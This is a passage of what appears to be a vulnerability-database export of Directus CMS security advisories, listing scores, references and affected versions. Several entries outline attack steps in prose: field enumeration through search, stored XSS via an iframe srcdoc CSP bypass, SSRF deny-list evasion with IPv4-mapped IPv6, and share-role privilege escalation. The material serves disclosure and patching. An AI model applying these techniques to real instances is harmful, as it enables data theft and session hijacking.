This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35413
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.05015
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35413
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-08T14:05:28Z/
url https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35413
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35413
4
reference_url https://github.com/advisories/GHSA-wxwm-3fxv-mrvx
reference_id GHSA-wxwm-3fxv-mrvx
reference_type
scores
url https://github.com/advisories/GHSA-wxwm-3fxv-mrvx
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35413, GHSA-wxwm-3fxv-mrvx
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hv63-3zhy-dyae
24
url VCID-j711-a6gm-b7hr
vulnerability_id VCID-j711-a6gm-b7hr
summary
Directus `search` query parameter allows enumeration of non permitted fields
### Summary

The `search` query parameter allows users with access to a collection to filter items based on fields they do not have permission to view. This allows the enumeration of unknown field contents.

### Details

The searchable columns (numbers & strings) are not checked against permissions when injecting the `where` clauses for applying the search query. This leads to the possibility of enumerating those un-permitted fields.

### PoC

- Create a collection with a string / numeric field, configure the permissions for the public role to not include the field created
- Create items with identifiable content in the not permitted field
- Query the collection and include the field content in the `search` parameter
- See that results are returned, even tho the public user does not have permission to view the field content

### Impact

This vulnerability is a very high impact, as for example Directus instances which allow public read access to the user avatar are vulnerable to have the email addresses, password hashes and potentially admin level access tokens extracted. The admin token and password hash extraction have a caveat, as string fields are only searched with a lower cased version of the search query.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-30352
reference_id
reference_type
scores
0
value 0.00144
scoring_system epss
scoring_elements 0.34397
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-30352
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/ac5a9964d9926f20dc063a74cb417dc7bbad676d
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-27T15:14:43Z/
url https://github.com/directus/directus/commit/ac5a9964d9926f20dc063a74cb417dc7bbad676d
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-7wq3-jr35-275c
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-27T15:14:43Z/
url https://github.com/directus/directus/security/advisories/GHSA-7wq3-jr35-275c
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-30352
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-30352
5
reference_url https://github.com/advisories/GHSA-7wq3-jr35-275c
reference_id GHSA-7wq3-jr35-275c
reference_type
scores
url https://github.com/advisories/GHSA-7wq3-jr35-275c
fixed_packages
0
url pkg:npm/directus@11.5.0
purl pkg:npm/directus@11.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2uz6-wjn7-kug4
3
vulnerability VCID-4x1w-8bx4-rqf9
4
vulnerability VCID-662k-n18g-mybg
5
vulnerability VCID-6ggp-xn4c-gya3
6
vulnerability VCID-6mr6-u3vk-sygm
7
vulnerability VCID-88w3-rw8u-rqea
8
vulnerability VCID-bwww-3wep-2ydf
9
vulnerability VCID-dy98-51bk-p3fk
10
vulnerability VCID-exwx-sqry-c3gc
11
vulnerability VCID-hv63-3zhy-dyae
12
vulnerability VCID-kugb-dwxd-6fhe
13
vulnerability VCID-mk5k-pf2s-mfe9
14
vulnerability VCID-n7g1-hmy7-j7g9
15
vulnerability VCID-n9br-39bb-7ugt
16
vulnerability VCID-rq5y-ee4h-gkff
17
vulnerability VCID-trbn-m8sj-ffa4
18
vulnerability VCID-vt3b-2dr3-aka2
19
vulnerability VCID-wcaq-4zzz-qfb7
20
vulnerability VCID-ycj2-8tqq-jyag
21
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.5.0
aliases CVE-2025-30352, GHSA-7wq3-jr35-275c
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j711-a6gm-b7hr
25
url VCID-km7s-b9cy-57c3
vulnerability_id VCID-km7s-b9cy-57c3
summary
Directus version number disclosure
### Impact

Currently the exact Directus version number is being shipped in compiled JS bundles which are accessible without authentication. With this information a malicious attacker can trivially look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.

### Patches

The problem has been resolved in versions 10.8.3 and newer

### Workarounds

None
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-27296
reference_id
reference_type
scores
0
value 0.00437
scoring_system epss
scoring_elements 0.6336
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-27296
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/a5a1c26ac48795ed3212a4c51b9523588aff4fa0
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-01T19:28:33Z/
url https://github.com/directus/directus/commit/a5a1c26ac48795ed3212a4c51b9523588aff4fa0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-5mhg-wv8w-p59j
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-01T19:28:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-5mhg-wv8w-p59j
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-27296
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-27296
5
reference_url https://github.com/advisories/GHSA-5mhg-wv8w-p59j
reference_id GHSA-5mhg-wv8w-p59j
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5mhg-wv8w-p59j
fixed_packages
0
url pkg:npm/directus@10.8.3
purl pkg:npm/directus@10.8.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-7w4r-sr7k-77g1
14
vulnerability VCID-88w3-rw8u-rqea
15
vulnerability VCID-95tn-g8wd-63hq
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-a9tr-a8r5-57en
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dy98-51bk-p3fk
21
vulnerability VCID-exwx-sqry-c3gc
22
vulnerability VCID-hv63-3zhy-dyae
23
vulnerability VCID-j711-a6gm-b7hr
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-ycj2-8tqq-jyag
36
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.8.3
aliases CVE-2024-27296, GHSA-5mhg-wv8w-p59j
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-km7s-b9cy-57c3
26
url VCID-mk5k-pf2s-mfe9
vulnerability_id VCID-mk5k-pf2s-mfe9
summary
Directus is Vulnerable to Stored Cross-site Scripting
### Summary

A stored cross-site scripting (XSS) vulnerability exists that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution.

### Details

The vulnerability arises from insufficient sanitization in the Block Editor interface when processing JSON content containing HTML elements. The attack requires two permissions:
- `upload files` - To upload malicious JavaScript files
- `edit item` - To create or modify content with the Block Editor

**Attack Vector:**

1. **JavaScript File Upload**: Attackers upload a malicious JavaScript file via the files endpoint, obtaining a file ID accessible through the assets directory

2. **Block Editor Exploitation**: Using a JSON field with Block Editor interface, attackers inject raw HTML containing an iframe with srcdoc attribute that references the uploaded file

3. **CSP Bypass**: The iframe srcdoc technique circumvents existing CSP protections by creating a new document context that loads the uploaded script

The payload is injected through direct API manipulation (PATCH request) to bypass client-side validation, targeting the Block Editor's paragraph data structure within the JSON content field.

### Impact

This vulnerability enables:
- **Persistent XSS** - Malicious scripts execute whenever affected content is viewed
- **Session hijacking** - Access to authentication tokens and cookies of users viewing the content
- **Administrative compromise** - If administrators view infected content, their elevated privileges can be exploited
- **CSP bypass** - Demonstrates ineffective security controls, potentially affecting other protections
- **Data exfiltration** - Ability to steal sensitive information displayed in the application
- **Phishing attacks** - Injection of convincing fake login forms or malicious redirects
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64747
reference_id
reference_type
scores
0
value 0.00036
scoring_system epss
scoring_elements 0.11205
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64747
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:33:34Z/
url https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:33:34Z/
url https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64747
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64747
5
reference_url https://github.com/advisories/GHSA-vv2v-pw69-8crf
reference_id GHSA-vv2v-pw69-8crf
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vv2v-pw69-8crf
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64747, GHSA-vv2v-pw69-8crf
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mk5k-pf2s-mfe9
27
url VCID-n7g1-hmy7-j7g9
vulnerability_id VCID-n7g1-hmy7-j7g9
summary
Directus tokens are not redacted in flow logs, exposing session credentials to all admin
### Summary

When using Directus Flows with the WebHook trigger, all incoming request details are logged including security sensitive data like access and refresh tokens in cookies.

### Impact

Malicious admins with access to the logs can hijack the user sessions within the token expiration time of them triggering the Flow.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53886
reference_id
reference_type
scores
0
value 0.0031
scoring_system epss
scoring_elements 0.54419
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53886
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
3
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-f24x-rm6g-3w5v
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/security/advisories/GHSA-f24x-rm6g-3w5v
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53886
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53886
6
reference_url https://github.com/directus/directus/pull/25354
reference_id 25354
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/pull/25354
7
reference_url https://github.com/advisories/GHSA-f24x-rm6g-3w5v
reference_id GHSA-f24x-rm6g-3w5v
reference_type
scores
url https://github.com/advisories/GHSA-f24x-rm6g-3w5v
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53886, GHSA-f24x-rm6g-3w5v
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-n7g1-hmy7-j7g9
28
url VCID-n9br-39bb-7ugt
vulnerability_id VCID-n9br-39bb-7ugt
summary
Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import
### Summary
A Server-Side Request Forgery (SSRF) protection bypass has been identified and fixed in Directus. The IP address validation mechanism used to block requests to local and private networks could be circumvented using IPv4-Mapped IPv6 address notation.

### Details
Directus implements an IP deny-list to prevent server-side requests to internal/private network ranges. The validation logic failed to normalize IPv4-Mapped IPv6 addresses (e.g., the IPv6 representation of `127.0.0.1`) before checking them against the deny-list. Because the deny-list check did not recognize these mapped addresses as equivalent to their IPv4 counterparts, an attacker could bypass the restriction while the underlying HTTP client and operating system still resolved and connected to the intended private target.

This has been fixed by adding a normalization step that converts IPv4-Mapped IPv6 addresses to their canonical IPv4 form prior to validation.

### Impact
An authenticated user (or an unauthenticated user if public file-import permissions are enabled) could exploit this bypass to perform SSRF attacks against internal services on the same host (databases, caches, internal APIs) or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35409
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02833
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35409
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T14:04:19Z/
url https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35409
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35409
4
reference_url https://github.com/advisories/GHSA-wv3h-5fx7-966h
reference_id GHSA-wv3h-5fx7-966h
reference_type
scores
url https://github.com/advisories/GHSA-wv3h-5fx7-966h
fixed_packages
0
url pkg:npm/directus@11.16.0
purl pkg:npm/directus@11.16.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-rq5y-ee4h-gkff
7
vulnerability VCID-trbn-m8sj-ffa4
8
vulnerability VCID-wcaq-4zzz-qfb7
9
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.0
aliases CVE-2026-35409, GHSA-wv3h-5fx7-966h
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-n9br-39bb-7ugt
29
url VCID-rq5y-ee4h-gkff
vulnerability_id VCID-rq5y-ee4h-gkff
summary
Directus: Sensitive fields exposed in revision history
### Summary

Directus stores revision records (in `directus_revisions`) whenever items are created or updated. Due to the revision snapshot code not consistently calling the `prepareDelta` sanitization pipeline, sensitive fields (including user tokens, two-factor authentication secrets, external auth identifiers, auth data, stored credentials, and AI provider API keys) could be stored in plaintext within revision records.

### Impact
Any user or service account with read access to `directus_revisions` (or flow logs) could retrieve values for fields that are supposed to be concealed or encrypted at rest, including:
- `token`, `tfa_secret`, `external_identifier`, `auth_data`, `credentials`
- `ai_openai_api_key`, `ai_anthropic_api_key`, `ai_google_api_key`, `ai_openai_compatible_api_key`

This could lead to account takeover (via stolen tokens or 2FA secrets) or unauthorized use of third-party API keys stored against users.

### Affected code paths

1. **Item create/update revisions** The data (snapshot) field written to directus_revisions was not processed through prepareDelta, so concealed/encrypted fields were stored without redaction. Relational fields were also included, which should have been excluded.
2. **Authentication service** When a user was auto-suspended after repeated failed login attempts, the revision record was created with the raw user object (including all sensitive fields) rather than the sanitized delta.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39943
reference_id
reference_type
scores
0
value 0.00032
scoring_system epss
scoring_elements 0.09767
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39943
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/releases/tag/v11.17.0
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-10T14:06:00Z/
url https://github.com/directus/directus/releases/tag/v11.17.0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-mvv8-v4jj-g47j
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-10T14:06:00Z/
url https://github.com/directus/directus/security/advisories/GHSA-mvv8-v4jj-g47j
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39943
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39943
5
reference_url https://github.com/advisories/GHSA-mvv8-v4jj-g47j
reference_id GHSA-mvv8-v4jj-g47j
reference_type
scores
url https://github.com/advisories/GHSA-mvv8-v4jj-g47j
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-39943, GHSA-mvv8-v4jj-g47j
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-rq5y-ee4h-gkff
30
url VCID-szpk-4g6r-f3e6
vulnerability_id VCID-szpk-4g6r-f3e6
summary
Directus allows privilege escalation using Share feature
### Summary
When sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see.

### Details
Specifying `role` on share should be available only for admins. The current flow has a security flaw.

Each other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is _higher_ or _lower_, so only admins should be able to specify the role for share.

Optionally, instead of specifying a role, shareer* should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import.

*_shareer_ - a person that creates a share link to item

### PoC
1. Create a collection with a secret field. 
2. Create role A that sees the secret field
3. Create role B that does not see the secret field, but can use share feature.
4. Create item with secret field filled. 
5. Use account with role B to share the object as role A and gain unauthorized access to secret value.

Here's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4
I had to upload it to YouTube, because GitHub allows only 10MB videos.

### Impact
Impacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-24353
reference_id
reference_type
scores
0
value 0.00347
scoring_system epss
scoring_elements 0.57488
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-24353
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
